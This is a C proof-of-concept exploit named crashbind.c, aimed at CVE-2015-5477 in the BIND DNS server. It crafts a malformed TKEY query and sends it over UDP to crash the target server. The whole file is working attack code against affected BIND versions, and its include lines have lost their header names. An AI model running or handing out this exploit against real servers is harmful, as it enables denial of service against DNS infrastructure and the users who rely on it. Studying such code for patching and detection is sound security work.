// crashbind.c // CVE-2015-5477 // Versions Affected: 9.1.0 -> 9.8.x, 9.9.0->9.9.7-P1, 9.10.0->9.10.2-P2 #include #include #include #include #include #include #include #include #include #include #include #include struct DNS_HEADER { unsigned short id; unsigned char rd :1; unsigned char tc :1; unsigned char aa :1; unsigned char opcode :4; unsigned char qr :1; unsigned char rcode :4; unsigned char cd :1; unsigned char ad :1; unsigned char z :1; unsigned char ra :1; unsigned short q_count; unsigned short ans_count; unsigned short auth_count; unsigned short add_count; } __attribute__((packed)); struct DNS_QUESTION { char qname[12]; uint16_t qtype; uint16_t qclass; } __attribute__((packed)); struct DNS_ANSWER { char name[12]; uint16_t type; uint16_t class; uint32_t ttl; uint16_t rdlength; // Set to 4 uint8_t data[4]; } __attribute__((packed)); struct mal_query { struct DNS_HEADER header; struct DNS_QUESTION question; struct DNS_ANSWER answer[2]; } __attribute__((packed)); int main(int argc, char **argv) { int fd = 0; struct addrinfo hints, *servinfo; int rv = -1; struct mal_query mq; srand(time(0)); memset(&hints, 0x0, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_DGRAM; if ((rv = getaddrinfo(argv[1], "53", &hints, &servinfo)) != 0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); exit(EXIT_FAILURE); } /* Note: if the hostname has a v6 address and the server isn't listening on * it, it will fail to connect */ if ((fd = socket(servinfo->ai_family, servinfo->ai_socktype, servinfo->ai_protocol)) < 0) { perror("socket"); exit(EXIT_FAILURE); } memset(&mq, 0x0, sizeof(mq)); /* Header */ mq.header.id = htons((uint16_t)rand()); mq.header.rd = 1; mq.header.opcode = 0x0; mq.header.qr = 0; mq.header.q_count = htons(1); mq.header.ans_count = htons(1); mq.header.add_count = htons(1); /* Question */ strcpy(mq.question.qname, "\x06google\x03\x63om"); mq.question.qtype = htons(249); mq.question.qclass = htons(0x1); /* Answer */ strcpy(mq.answer[0].name, "\x06google\x03\x63om"); mq.answer[0].type = htons(0x0001); mq.answer[0].class = htons(0x0001); mq.answer[0].rdlength = htons(4); /* Additional */ strcpy(mq.answer[1].name, "\x06google\x03\x63om"); mq.answer[1].type = htons(0x0001); mq.answer[1].class = htons(0x0001); mq.answer[1].rdlength = htons(4); if (sendto(fd, &mq, sizeof(mq), 0, servinfo->ai_addr, servinfo->ai_addrlen) < 0) { perror("sendto"); exit(EXIT_FAILURE); } freeaddrinfo(servinfo); return EXIT_SUCCESS; }